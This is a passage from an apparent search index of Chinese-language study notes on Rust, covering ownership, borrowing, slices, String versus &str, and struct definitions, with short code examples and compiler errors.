\u5bf9\u8c61\u5728\u6808\u4e2d\uff0c\u6bcf\u4e2a String \u5bf9\u8c61\u90fd\u6709\u4e00\u4e2a\u6307\u9488\u6307\u5411\u5806\u4e2d\u7684 \"hello\" \u5b57\u7b26\u4e32\u3002\u5728\u7ed9 s2 \u8d4b\u503c\u65f6\uff0c\u53ea\u6709\u6808\u4e2d\u7684\u6570\u636e\u88ab\u590d\u5236\u4e86\uff0c\u5806\u4e2d\u7684\u5b57\u7b26\u4e32\u4f9d\u7136\u8fd8\u662f\u539f\u6765\u7684\u5b57\u7b26\u4e32\u3002</p> <p>\u524d\u9762\u6211\u4eec\u8bf4\u8fc7\uff0c\u5f53\u53d8\u91cf\u8d85\u51fa\u8303\u56f4\u65f6\uff0cRust \u81ea\u52a8\u8c03\u7528\u91ca\u653e\u8d44\u6e90\u51fd\u6570\u5e76\u6e05\u7406\u8be5\u53d8\u91cf\u7684\u5806\u5185\u5b58\u3002\u4f46\u662f s1 \u548c s2 \u90fd\u88ab\u91ca\u653e\u7684\u8bdd\u5806\u533a\u4e2d\u7684 \"hello\" \u88ab\u91ca\u653e\u4e24\u6b21\uff0c\u8fd9\u662f\u4e0d\u88ab\u7cfb\u7edf\u5141\u8bb8\u7684\u3002\u4e3a\u4e86\u786e\u4fdd\u5b89\u5168\uff0c\u5728\u7ed9 s2 \u8d4b\u503c\u65f6 s1 \u5df2\u7ecf\u65e0\u6548\u4e86\u3002\u6ca1\u9519\uff0c\u5728\u628a s1 \u7684\u503c\u8d4b\u7ed9 s2 \u4ee5\u540e s1 \u5c06\u4e0d\u53ef\u4ee5\u518d\u88ab\u4f7f\u7528\u3002</p> <pre><code>  let s1 = String::from(\"hello\");\n  let s2 = s1; \n  println!(\"{}, world!\", s1); // \u9519\u8bef\uff01s1 \u5df2\u7ecf\u5931\u6548\n</code></pre> <p>\u8fd9\u6bb5\u7a0b\u5e8f\u662f\u9519\u7684\uff0c\u5728\u7ed9<code>s2</code>\u8d4b\u503c\u4e4b\u540e\uff0c<code>s1</code>\u5df2\u7ecf\u540d\u5b58\u5b9e\u4ea1\u4e86</p> <p>\u514b\u9686</p> <p>Rust\u4f1a\u5c3d\u53ef\u80fd\u5730\u964d\u4f4e\u7a0b\u5e8f\u7684\u8fd0\u884c\u6210\u672c\uff0c\u6240\u4ee5\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u957f\u5ea6\u8f83\u5927\u7684\u6570\u636e\u5b58\u653e\u5728\u5806\u4e2d\uff0c\u4e14\u91c7\u7528\u79fb\u52a8\u7684\u65b9\u5f0f\u8fdb\u884c\u6570\u636e\u4ea4\u4e92\u3002\u4f46\u5982\u679c\u9700\u8981\u5c06\u6570\u636e\u5355\u7eaf\u7684\u590d\u5236\u4e00\u4efd\u4ee5\u4f9b\u4ed6\u7528\uff0c\u53ef\u4ee5\u4f7f\u7528\u6570\u636e\u7684\u7b2c\u4e8c\u79cd\u4ea4\u4e92\u65b9\u5f0f\u2014\u2014\u514b\u9686\u3002</p> <p>\u5b9e\u4f8b <pre><code>fn main() {\n    let s1 = String::from(\"hello\");\n    let s2 = s1.clone();\n    println!(\"s1 = {}, s2 = {}\", s1, s2);\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c\uff1a <pre><code>s1 = hello, s2 = hello\n</code></pre> \u8fd9\u91cc\u662f\u771f\u7684\u5c06\u5806\u4e2d\u7684 \"hello\" \u590d\u5236\u4e86\u4e00\u4efd\uff0c\u6240\u4ee5 s1 \u548c s2 \u90fd\u5206\u522b\u7ed1\u5b9a\u4e86\u4e00\u4e2a\u503c\uff0c\u91ca\u653e\u7684\u65f6\u5019\u4e5f\u4f1a\u88ab\u5f53\u4f5c\u4e24\u4e2a\u8d44\u6e90\u3002</p> <p>\u5f53\u7136\uff0c\u514b\u9686\u4ec5\u5728\u9700\u8981\u590d\u5236\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\uff0c\u6bd5\u7adf\u590d\u5236\u6570\u636e\u4f1a\u82b1\u8d39\u66f4\u591a\u7684\u65f6\u95f4\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_27","title":"\u6d89\u53ca\u51fd\u6570\u7684\u6240\u6709\u6743\u673a\u5236","text":"<p>\u5bf9\u4e8e\u53d8\u91cf\u6765\u8bf4\u8fd9\u662f\u6700\u590d\u6742\u7684\u60c5\u51b5\u4e86</p> <p>\u5982\u679c\u5c06\u4e00\u4e2a\u53d8\u91cf\u5f53\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u4f20\u9012\u7ed9\u5176\u4ed6\u51fd\u6570\uff0c\u600e\u4e48\u6837\u5b89\u5168\u7684\u5904\u7406\u6240\u6709\u6743\u5462\uff1f</p> <p>\u5b9e\u4f8b <pre><code>fn main() {\n    let s = String::from(\"hello\");\n    // s \u88ab\u58f0\u660e\u6709\u6548\n\n    takes_ownership(s);\n    // s \u7684\u503c\u88ab\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\u51fd\u6570\n    // \u6240\u4ee5\u53ef\u4ee5\u5f53\u4f5c s \u5df2\u7ecf\u88ab\u79fb\u52a8\uff0c\u4ece\u8fd9\u91cc\u5f00\u59cb\u5df2\u7ecf\u65e0\u6548\n\n    let x = 5;\n    // x \u88ab\u58f0\u660e\u6709\u6548\n\n    makes_copy(x);\n    // x \u7684\u503c\u88ab\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\u51fd\u6570\n    // \u4f46 x \u662f\u57fa\u672c\u7c7b\u578b\uff0c\u4f9d\u7136\u6709\u6548\n    // \u5728\u8fd9\u91cc\u4f9d\u7136\u53ef\u4ee5\u4f7f\u7528 x \u5374\u4e0d\u80fd\u4f7f\u7528 s\n\n} // \u51fd\u6570\u7ed3\u675f, x \u65e0\u6548, \u7136\u540e\u662f s. \u4f46 s \u5df2\u88ab\u79fb\u52a8, \u6240\u4ee5\u4e0d\u7528\u88ab\u91ca\u653e\n\n\nfn takes_ownership(some_string: String) { \n    // \u4e00\u4e2a String \u53c2\u6570 some_string \u4f20\u5165\uff0c\u6709\u6548\n    println!(\"{}\", some_string);\n} // \u51fd\u6570\u7ed3\u675f, \u53c2\u6570 some_string \u5728\u8fd9\u91cc\u91ca\u653e\n\nfn makes_copy(some_integer: i32) { \n    // \u4e00\u4e2a i32 \u53c2\u6570 some_integer \u4f20\u5165\uff0c\u6709\u6548\n    println!(\"{}\", some_integer);\n} // \u51fd\u6570\u7ed3\u675f, \u53c2\u6570 some_integer \u662f\u57fa\u672c\u7c7b\u578b, \u65e0\u9700\u91ca\u653e\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_28","title":"\u5f15\u7528\u4e0e\u79df\u501f","text":"<p>\u5f15\u7528\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\uff0c\u5b9e\u8d28\u4e0a\u662f\u53d8\u91cf\u7684\u95f4\u63a5\u8bbf\u95ee\u65b9\u5f0f</p> <p>\u4f8b\u5982 <pre><code>fn main() {\n    let s1 = String::from(\"hello\");\n    let s2 = &amp;s1;//&amp; \u8fd0\u7b97\u7b26\u53ef\u4ee5\u53d6\u53d8\u91cf\u7684\"\u5f15\u7528\"\u3002\n    println!(\"s1 is {}, s2 is {}\", s1, s2);\n}\n</code></pre></p> <p>\u8fd0\u884c\u7ed3\u679c <code>s1 is hello, s2 is hello</code> \u8fd9\u6837\u5c31\u4fdd\u7559\u4e86<code>s1</code>\u7684\u6240\u6709\u6743</p> <p>Note</p> <p>\u5f53\u4e00\u4e2a\u53d8\u91cf\u7684\u503c\u88ab\u5f15\u7528\u65f6\uff0c\u53d8\u91cf\u672c\u8eab\u4e0d\u4f1a\u88ab\u8ba4\u5b9a\u65e0\u6548\u3002\u56e0\u4e3a\"\u5f15\u7528\"\u5e76\u6ca1\u6709\u5728\u6808\u4e2d\u590d\u5236\u53d8\u91cf\u7684\u503c,\u800c\u662f\u7c7b\u4f3c\u4e8e<code>s2</code>\u591a\u4e86\u4e00\u4e2a\u6307\u5411<code>s1</code>\u7684\u6307\u9488</p> <p>\u901a\u8fc7\u501f\u7528\uff0c\u53ef\u4ee5\u907f\u514d\u51fd\u6570\u4e22\u5931\u6240\u6709\u6743  <pre><code>fn main() {\n let s1 = String::from(\"hello\");\n\n let len = calculate_length(&amp;s1);\n\n println!(\"The length of '{}' is {}.\", s1, len);\n }\n\n fn calculate_length(s: &amp;String) -&gt; usize {\n     s.len()\n }\n</code></pre>  \u8fd0\u884c\u7ed3\u679c  <pre><code>The length of 'hello' is 5.\n</code></pre></p> Warning <p>\u5f15\u7528\u4e0d\u4f1a\u83b7\u5f97\u503c\u7684\u6240\u6709\u6743\u3002</p> <p>\u5f15\u7528\u53ea\u80fd\u79df\u501f\uff08Borrow\uff09\u503c\u7684\u6240\u6709\u6743\u3002</p> <p>\u5f15\u7528\u672c\u8eab\u4e5f\u662f\u4e00\u4e2a\u7c7b\u578b\u5e76\u5177\u6709\u4e00\u4e2a\u503c\uff0c\u8fd9\u4e2a\u503c\u8bb0\u5f55\u7684\u662f\u522b\u7684\u503c\u6240\u5728\u7684\u4f4d\u7f6e\uff0c\u4f46\u5f15\u7528\u4e0d\u5177\u6709\u6240\u6307\u503c\u7684\u6240\u6709\u6743\uff1a</p> <p><pre><code>fn main() {\nlet s1 = String::from(\"hello\");\nlet s2 = &amp;s1;\nlet s3 = s1;\nprintln!(\"{}\", s2);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4e0d\u6b63\u786e\uff1a\u56e0\u4e3a <code>s2</code> \u79df\u501f\u7684 <code>s1</code> \u5df2\u7ecf\u5c06\u6240\u6709\u6743\u79fb\u52a8\u5230 <code>s3</code>\uff0c\u6240\u4ee5 <code>s2</code> \u5c06\u65e0\u6cd5\u7ee7\u7eed\u79df\u501f\u4f7f\u7528 <code>s1</code> \u7684\u6240\u6709\u6743\u3002\u5982\u679c\u9700\u8981\u4f7f\u7528 <code>s2</code> \u4f7f\u7528\u8be5\u503c\uff0c\u5fc5\u987b\u91cd\u65b0\u79df\u501f.</p> <p>\u65e2\u7136\u5f15\u7528\u4e0d\u5177\u6709\u6240\u6709\u6743\uff0c\u5373\u4f7f\u5b83\u79df\u501f\u4e86\u6240\u6709\u6743\uff0c\u5b83\u4e5f\u53ea\u4eab\u6709\u4f7f\u7528\u6743\uff08\u8fd9\u8ddf\u79df\u623f\u5b50\u662f\u4e00\u4e2a\u9053\u7406\uff09\u3002 \u5982\u679c\u5c1d\u8bd5\u5229\u7528\u79df\u501f\u6765\u7684\u6743\u5229\u6765\u4fee\u6539\u6570\u636e\u4f1a\u88ab\u963b\u6b62\uff1a <pre><code>fn main() {\nlet s1 = String::from(\"run\");\nlet s2 = &amp;s1; \nprintln!(\"{}\", s2);\ns2.push_str(\"oob\"); // \u9519\u8bef\uff0c\u7981\u6b62\u4fee\u6539\u79df\u501f\u7684\u503c\nprintln!(\"{}\", s2);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4e2d s2 \u5c1d\u8bd5\u4fee\u6539 s1 \u7684\u503c\u88ab\u963b\u6b62\uff0c\u79df\u501f\u7684\u6240\u6709\u6743\u4e0d\u80fd\u4fee\u6539\u6240\u6709\u8005\u7684\u503c\u3002</p> <p>\u5f53\u7136\uff0c\u4e5f\u5b58\u5728\u4e00\u79cd\u53ef\u53d8\u7684\u79df\u501f\u65b9\u5f0f\uff0c\u5c31\u50cf\u4f60\u79df\u4e00\u4e2a\u623f\u5b50\uff0c\u5982\u679c\u7269\u4e1a\u89c4\u5b9a\u623f\u4e3b\u53ef\u4ee5\u4fee\u6539\u623f\u5b50\u7ed3\u6784\uff0c\u623f\u4e3b\u5728\u79df\u501f\u65f6\u4e5f\u5728\u5408\u540c\u4e2d\u58f0\u660e\u8d4b\u4e88\u4f60\u8fd9\u79cd\u6743\u5229\uff0c\u4f60\u662f\u53ef\u4ee5\u91cd\u65b0\u88c5\u4fee\u623f\u5b50\u7684\uff1a <pre><code>fn main() {\nlet mut s1 = String::from(\"run\");\n// s1 \u662f\u53ef\u53d8\u7684\n\nlet s2 = &amp;mut s1;\n// s2 \u662f\u53ef\u53d8\u7684\u5f15\u7528\n\ns2.push_str(\"oob\");\nprintln!(\"{}\", s2);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u5c31\u6ca1\u6709\u95ee\u9898\u4e86\u3002\u6211\u4eec\u7528 <code>&amp;mut</code> \u4fee\u9970\u53ef\u53d8\u7684\u5f15\u7528\u7c7b\u578b\u3002</p> <p>\u53ef\u53d8\u5f15\u7528\u4e0e\u4e0d\u53ef\u53d8\u5f15\u7528\u76f8\u6bd4\u9664\u4e86\u6743\u9650\u4e0d\u540c\u4ee5\u5916\uff0c\u53ef\u53d8\u5f15\u7528\u4e0d\u5141\u8bb8\u591a\u91cd\u5f15\u7528\uff0c\u4f46\u4e0d\u53ef\u53d8\u5f15\u7528\u53ef\u4ee5\uff1a <pre><code>let mut s = String::from(\"hello\");\n\nlet r1 = &amp;mut s;\nlet r2 = &amp;mut s;\n\nprintln!(\"{}, {}\", r1, r2);\n</code></pre></p> <p>\u8fd9\u4e5f\u5f88\u597d\u7406\u89e3\uff0c\u4e07\u4e00<code>r1</code> <code>r2</code>\u5e76\u53d1\u6539\u53d8\u4e86<code>s</code>,\u5982\u4f55\u5904\u7406\u4f1a\u662f\u4e00\u4e2a\u68d8\u624b\u7684\u95ee\u9898\uff0crust\u5728\u7f16\u8bd1\u9636\u6bb5\u5c31\u907f\u514d\u4e86\u8fd9\u79cd\u60c5\u51b5\u7684\u53d1\u751f</p>"},{"location":"NOTE/CS/RUST/RUST/#_29","title":"\u5782\u60ac\u5f15\u7528","text":"<p>\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u90a3\u79cd\u90a3\u79cd\u6ca1\u6709\u5b9e\u9645\u6307\u5411\u4e00\u4e2a\u771f\u6b63\u80fd\u8bbf\u95ee\u7684\u6570\u636e\u7684\u6307\u9488(\u4e0d\u4e00\u5b9a\u662f\u7a7a\u6307\u9488\uff0c\u4e5f\u6709\u53ef\u80fd\u662f\u5df2\u7ecf\u91ca\u653e\u7684\u8d44\u6e90)\uff0c\u5b83\u4eec\u5c31\u50cf\u5931\u53bb\u60ac\u6302\u7269\u4f53\u7684\u7ef3\u5b50\uff0c\u6240\u4ee5\u53eb\"\u5782\u60ac\u5f15\u7528\"</p> <pre><code>\u7136\u800c\u8fd9\u79cd\u5f15\u7528\u5728rust\u4e2d\u5e76\u4e0d\u5141\u8bb8\u51fa\u73b0\uff0c\u7f16\u8bd1\u5668\u4f1a\u53d1\u73b0\u8fd9\u79cd\u5f15\u7528\u5e76\u52a0\u4ee5\u963b\u6b62\n</code></pre> <p><code>rust fn main() {     let reference_to_nothing = dangle(); }  fn dangle() -&gt; &amp;String {     let s = String::from(\"hello\");      &amp;s }</code> \u5f88\u663e\u7136\uff0c\u4f34\u968f\u7740 dangle \u51fd\u6570\u7684\u7ed3\u675f\uff0c\u5176\u5c40\u90e8\u53d8\u91cf\u7684\u503c\u672c\u8eab\u6ca1\u6709\u88ab\u5f53\u4f5c\u8fd4\u56de\u503c\uff0c\u88ab\u91ca\u653e\u4e86\u3002\u4f46\u5b83\u7684\u5f15\u7528\u5374\u88ab\u8fd4\u56de\uff0c\u8fd9\u4e2a\u5f15\u7528\u6240\u6307\u5411\u7684\u503c\u5df2\u7ecf\u4e0d\u80fd\u786e\u5b9a\u7684\u5b58\u5728\uff0c\u6545\u4e0d\u5141\u8bb8\u5176\u51fa\u73b0\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_30","title":"\u5207\u7247\u7c7b\u578b","text":"<p>\u5207\u7247\uff08Slice\uff09\u662f\u5bf9\u6570\u636e\u503c\u7684\u90e8\u5206\u5f15\u7528\u3002</p> <p>\u5207\u7247\u8fd9\u4e2a\u540d\u5b57\u5f80\u5f80\u51fa\u73b0\u5728\u751f\u7269\u8bfe\u4e0a\uff0c\u6211\u4eec\u505a\u6837\u672c\u73bb\u7247\u7684\u65f6\u5019\u8981\u4ece\u751f\u7269\u4f53\u4e0a\u83b7\u53d6\u5207\u7247\uff0c\u4ee5\u4f9b\u5728\u663e\u5fae\u955c\u4e0a\u89c2\u5bdf\u3002\u5728 Rust \u4e2d\uff0c\u5207\u7247\u7684\u610f\u601d\u5927\u81f4\u4e5f\u662f\u8fd9\u6837\uff0c\u53ea\u4e0d\u8fc7\u5b83\u4ece\u6570\u636e\u53d6\u6750\u5f15\u7528\u3002</p> <p>rust\u4e2d\u7684\u5207\u7247\u4e0epython\u4e2d\u7684\u6570\u7ec4\u5207\u7247\u4e5f\u662f\u7c7b\u4f3c\u7684</p> <p>\u6700\u7b80\u5355\u3001\u6700\u5e38\u7528\u7684\u6570\u636e\u5207\u7247\u7c7b\u578b\u662f\u5b57\u7b26\u4e32\u5207\u7247\uff08String Slice\uff09\uff0c\u5176\u4ed6\u7c7b\u578b\u5982\u6570\u7ec4\u5207\u7247\u4e5f\u662f\u5141\u8bb8\u7684 <pre><code>fn main() {\n    let s = String::from(\"broadcast\");\n\n    let part1 = &amp;s[0..5];\n    let part2 = &amp;s[5..9];\n\n    println!(\"{}={}+{}\", s, part1, part2);\n\n    let arr = [1, 3, 5, 7, 9];\n    let part = &amp;arr[0..3];\n    for i in part.iter() {\n        println!(\"{}\", i);\n    }\n}\n</code></pre></p> <p>rust\u4e2d\u6709<code>x..y</code>\u6765\u5b9e\u73b0\\([x,y)\\)\u7684\u542b\u4e49</p> <ul> <li>..y \u7b49\u4ef7\u4e8e 0..y</li> <li>x.. \u7b49\u4ef7\u4e8e\u4f4d\u7f6e x \u5230\u6570\u636e\u7ed3\u675f</li> <li>.. \u7b49\u4ef7\u4e8e\u4f4d\u7f6e 0 \u5230\u7ed3\u675f</li> </ul> <p>\u88ab\u5207\u7247\u5f15\u7528\u7684\u5b57\u7b26\u4e32\u7981\u6b62\u66f4\u6539\u5176\u503c\uff1a</p> <p>\u5b9e\u4f8b <pre><code>fn main() {\n    let mut s = String::from(\"runoob\");\n    let slice = &amp;s[0..3];\n    s.push_str(\"yes!\"); // \u9519\u8bef\n    println!(\"slice = {}\", slice);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4e0d\u6b63\u786e\u3002</p> <p><code>s</code> \u88ab\u90e8\u5206\u5f15\u7528\uff0c\u7981\u6b62\u66f4\u6539\u5176\u503c\u3002</p> <p>String\u548cstr</p> <p>\u5b9e\u9645\u4e0a\uff0c\u5230\u76ee\u524d\u4e3a\u6b62\u4f60\u4e00\u5b9a\u7591\u60d1\u4e3a\u4ec0\u4e48\u6bcf\u4e00\u6b21\u4f7f\u7528\u5b57\u7b26\u4e32\u90fd\u8981\u8fd9\u6837\u5199<code>String::from(\"runoob\")</code> \uff0c\u76f4\u63a5\u5199 <code>\"runoob\"</code> \u4e0d\u884c\u5417\uff1f</p> <p>\u524d\u9762\u4e5f\u6709\u63d0\u5230\u8fc7\uff0c\u4f46\u662f\u8fd9\u91cc\u53ef\u4ee5\u66f4\u52a0\u7ec6\u81f4\u7684\u8bf4\u660e\u4e00\u4e0b</p> <p>\u5728 Rust \u4e2d\u6709\u4e24\u79cd\u5e38\u7528\u7684\u5b57\u7b26\u4e32\u7c7b\u578b\uff1astr \u548c String\u3002str \u662f Rust \u6838\u5fc3\u8bed\u8a00\u7c7b\u578b\uff0c\u5c31\u662f\u672c\u7ae0\u4e00\u76f4\u5728\u8bb2\u7684\u5b57\u7b26\u4e32\u5207\u7247\uff08String Slice\uff09\uff0c\u5e38\u5e38\u4ee5\u5f15\u7528\u7684\u5f62\u5f0f\u51fa\u73b0\uff08&amp;str\uff09\u3002</p> <p>\u51e1\u662f\u7528\u53cc\u5f15\u53f7\u5305\u62ec\u7684\u5b57\u7b26\u4e32\u5e38\u91cf\u6574\u4f53\u7684\u7c7b\u578b\u6027\u8d28\u90fd\u662f &amp;str\uff1a let s = \"hello\"; \u8fd9\u91cc\u7684 s \u5c31\u662f\u4e00\u4e2a &amp;str \u7c7b\u578b\u7684\u53d8\u91cf\u3002 String \u7c7b\u578b\u662f Rust \u6807\u51c6\u516c\u5171\u5e93\u63d0\u4f9b\u7684\u4e00\u79cd\u6570\u636e\u7c7b\u578b\uff0c\u5b83\u7684\u529f\u80fd\u66f4\u5b8c\u5584\u2014\u2014\u5b83\u652f\u6301\u5b57\u7b26\u4e32\u7684\u8ffd\u52a0\u3001\u6e05\u7a7a\u7b49\u5b9e\u7528\u7684\u64cd\u4f5c\u3002String \u548c str \u9664\u4e86\u540c\u6837\u62e5\u6709\u4e00\u4e2a\u5b57\u7b26\u5f00\u59cb\u4f4d\u7f6e\u5c5e\u6027\u548c\u4e00\u4e2a\u5b57\u7b26\u4e32\u957f\u5ea6\u5c5e\u6027\u4ee5\u5916\u8fd8\u6709\u4e00\u4e2a\u5bb9\u91cf\uff08capacity\uff09\u5c5e\u6027\u3002 String \u548c str \u90fd\u652f\u6301\u5207\u7247\uff0c\u5207\u7247\u7684\u7ed3\u679c\u662f &amp;str \u7c7b\u578b\u7684\u6570\u636e\u3002 \u6ce8\u610f\uff1a\u5207\u7247\u7ed3\u679c\u5fc5\u987b\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u4f46\u5f00\u53d1\u8005\u5fc5\u987b\u81ea\u5df1\u660e\u793a\u8fd9\u4e00\u70b9: <pre><code>let slice = &amp;s[0..3];\n</code></pre> \u6709\u4e00\u4e2a\u5feb\u901f\u7684\u529e\u6cd5\u53ef\u4ee5\u5c06 String \u8f6c\u6362\u6210 &amp;str\uff1a <pre><code>let s1 = String::from(\"hello\");\nlet s2 = &amp;s1[..];\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#rust_2","title":"RUST\u4e2d\u7684\u7ed3\u6784\u4f53","text":"<p>Rust \u4e2d\u7684\u7ed3\u6784\u4f53\uff08Struct\uff09\u4e0e\u5143\u7ec4\uff08Tuple\uff09\u90fd\u53ef\u4ee5\u5c06\u82e5\u5e72\u4e2a\u7c7b\u578b\u4e0d\u4e00\u5b9a\u76f8\u540c\u7684\u6570\u636e\u6346\u7ed1\u5728\u4e00\u8d77\u5f62\u6210\u6574\u4f53\uff0c\u4f46\u7ed3\u6784\u4f53\u7684\u6bcf\u4e2a\u6210\u5458\u548c\u5176\u672c\u8eab\u90fd\u6709\u4e00\u4e2a\u540d\u5b57\uff0c\u8fd9\u6837\u8bbf\u95ee\u5b83\u6210\u5458\u7684\u65f6\u5019\u5c31\u4e0d\u7528\u8bb0\u4f4f\u4e0b\u6807\u4e86\u3002\u5143\u7ec4\u5e38\u7528\u4e8e\u975e\u5b9a\u4e49\u7684\u591a\u503c\u4f20\u9012\uff0c\u800c\u7ed3\u6784\u4f53\u7528\u4e8e\u89c4\u8303\u5e38\u7528\u7684\u6570\u636e\u7ed3\u6784\u3002\u7ed3\u6784\u4f53\u7684\u6bcf\u4e2a\u6210\u5458\u53eb\u505a\"\u5b57\u6bb5\"\u3002</p> <p>\u5148\u7ed9\u51fa\u4e00\u4e2a\u7ed3\u6784\u4f53\u7684\u4f8b\u5b50</p> <pre><code>struct Site {\n    domain: String,\n    name: String,\n    nation: String,\n    found: u32\n}\n</code></pre> <p>C\u8bed\u8a00\u4e2d\u7684 <pre><code>struct site{\n    char* domain;\n    char* name;\n    char* nation;\n    unsigned int found;    \n};\n</code></pre></p> <p>Warning</p> <p>\u8ddfC\u8bed\u8a00\u4e0d\u540c,RUST\u4e2d struct \u8bed\u53e5\u4ec5\u7528\u6765\u5b9a\u4e49\uff0c\u4e0d\u80fd\u58f0\u660e\u5b9e\u4f8b\u4e5f\u5c31\u662f\u8bf4\u5728<code>}</code>\u540e\u4e0d\u80fd\u58f0\u660e\u4e00\u4e2astruct\u7684\u53d8\u91cf\uff0c\u7ed3\u5c3e\u4e0d\u9700\u8981 ; \u7b26\u53f7\uff0c\u800c\u4e14\u6bcf\u4e2a\u5b57\u6bb5\u5b9a\u4e49\u4e4b\u540e\u7528,\u5206\u9694\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_31","title":"\u7ed3\u6784\u4f53\u5b9e\u4f8b","text":"<p>Rust \u5f88\u591a\u5730\u65b9\u53d7 JavaScript \u5f71\u54cd\uff0c\u5728\u5b9e\u4f8b\u5316\u7ed3\u6784\u4f53\u7684\u65f6\u5019\u7528 JSON \u5bf9\u8c61\u7684 key: value \u8bed\u6cd5\u6765\u5b9e\u73b0\u5b9a\u4e49\uff0c\u683c\u5f0f\u4e3a <pre><code>\u7ed3\u6784\u4f53\u7c7b\u540d {\n    \u5b57\u6bb5\u540d : \u5b57\u6bb5\u503c,\n    ...\n}\n</code></pre> \u4f8b\u5982 <pre><code>let runoob = Site {\n    domain: String::from(\"www.runoob.com\"),\n    name: String::from(\"RUNOOB\"),\n    nation: String::from(\"China\"),\n    found: 2013\n};\n</code></pre> \u5982\u679c\u6b63\u5728\u5b9e\u4f8b\u5316\u7684\u7ed3\u6784\u4f53\u6709\u5b57\u6bb5\u540d\u79f0\u548c\u73b0\u5b58\u53d8\u91cf\u540d\u79f0\u4e00\u6837\u7684\uff0c\u53ef\u4ee5\u7b80\u5316\u4e66\u5199\uff1a <pre><code>let domain = String::from(\"www.runoob.com\");\nlet name = String::from(\"RUNOOB\");\nlet runoob = Site {\n    domain,  // \u7b49\u540c\u4e8e domain : domain,\n    name,    // \u7b49\u540c\u4e8e name : name,\n    nation: String::from(\"China\"),\n    traffic: 2013\n};\n</code></pre> \u6709\u8fd9\u6837\u4e00\u79cd\u60c5\u51b5\uff1a\u4f60\u60f3\u8981\u65b0\u5efa\u4e00\u4e2a\u7ed3\u6784\u4f53\u7684\u5b9e\u4f8b\uff0c\u5176\u4e2d\u5927\u90e8\u5206\u5c5e\u6027\u9700\u8981\u88ab\u8bbe\u7f6e\u6210\u4e0e\u73b0\u5b58\u7684\u4e00\u4e2a\u7ed3\u6784\u4f53\u5c5e\u6027\u4e00\u6837\uff0c\u4ec5\u9700\u66f4\u6539\u5176\u4e2d\u7684\u4e00\u4e24\u4e2a\u5b57\u6bb5\u7684\u503c\uff0c\u53ef\u4ee5\u4f7f\u7528\u7ed3\u6784\u4f53\u66f4\u65b0\u8bed\u6cd5\uff1a <pre><code>let site = Site {\n    domain: String::from(\"www.runoob.com\"),\n    name: String::from(\"RUNOOB\"),\n    ..runoob\n};\n</code></pre></p> <p>Note</p> <p><code>..runoob</code> \u540e\u9762\u4e0d\u53ef\u4ee5\u6709\u9017\u53f7\u3002\u8fd9\u79cd\u8bed\u6cd5\u4e0d\u5141\u8bb8\u4e00\u6210\u4e0d\u53d8\u7684\u590d\u5236\u53e6\u4e00\u4e2a\u7ed3\u6784\u4f53\u5b9e\u4f8b\uff0c\u610f\u601d\u5c31\u662f\u8bf4\u81f3\u5c11\u91cd\u65b0\u8bbe\u5b9a\u4e00\u4e2a\u5b57\u6bb5\u7684\u503c\u624d\u80fd\u5f15\u7528\u5176\u4ed6\u5b9e\u4f8b\u7684\u503c\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_32","title":"\u5143\u7ec4\u7ed3\u6784\u4f53","text":"<p>\u5143\u7ec4\u7ed3\u6784\u4f53\u63d0\u4f9b\u4e86\u4e00\u79cd\u66f4\u52a0\u65b9\u4fbf\u5feb\u6377\u7684\u5b9a\u4e49\u548c\u4f7f\u7528\u7ed3\u6784\u4f53\u7684\u65b9\u5f0f</p> <p><pre><code>struct Color(u8, u8, u8);\nstruct Point(f64, f64);\nlet black = Color(0, 0, 0);\nlet origin = Point(0.0, 0.0);\n</code></pre> \u8bbf\u95ee\u7684\u65f6\u5019\u53ef\u4ee5\u901a\u8fc7\u70b9\u548c\u4e0b\u6807\u6765\u8bbf\u95ee\uff0c\u5982<code>black.0</code></p> <p>\u7ed3\u6784\u4f53\u6240\u6709\u6743:\u7ed3\u6784\u4f53\u5fc5\u987b\u638c\u63e1\u5b57\u6bb5\u503c\u6240\u6709\u6743\uff0c\u56e0\u4e3a\u7ed3\u6784\u4f53\u5931\u6548\u7684\u65f6\u5019\u4f1a\u91ca\u653e\u6240\u6709\u5b57\u6bb5\u3002 \u5f15\u7528\u7ed3\u6784\u4f53\u6210\u5458\u7ed9\u5176\u4ed6\u53d8\u91cf\u8d4b\u503c\u65f6\uff0c\u8981\u6ce8\u610f\uff1a\u6240\u6709\u6743\u7684\u8f6c\u79fb\u53ef\u80fd\u4f1a\u7834\u574f\u7ed3\u6784\u4f53\u53d8\u91cf\u7684\u5b8c\u6574\u6027\u3002\u4f8b\u5982\uff1a <pre><code>struct Dog {\n    name: String,\n    age: i8\n}\n\nfn main() {\n    let mydog = Dog {\n        name:String::from(\"wangcai\"),\n        age:3,\n    };\n    let str = mydog.name;\n    println!(\"str={}\", str);\n    println!(\"mydog: name={},age={}\", mydog.name, mydog.age);\n}\n</code></pre> \u7f16\u8bd1\u51fa\u9519 <pre><code>11 |     let str = mydog.name;\n   |               ---------- value moved here\n12 |     println!(\"str={}\", str);\n13 |     println!(\"mydog: name={},age={}\", mydog.name, mydog.age);\n   |                                       ^^^^^^^^^^ value borrowed here after move\n</code></pre></p> <p>11\u884c\uff0c\u7528<code>mydog.name</code>\u7ed9<code>str</code>\u8d4b\u503c\u65f6\uff0c\u6240\u6709\u6743\u5c31<code>move</code>\u5230\u7684<code>str</code>\u53d8\u91cf\u3002</p> <p>13\u884c\uff0c\u6253\u5370\u65f6\u5f15\u7528<code>mydog.name</code>\uff0c\u6b64\u65f6\u5df2\u7ecf\u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u518d\u4f7f\u7528\u3002</p> 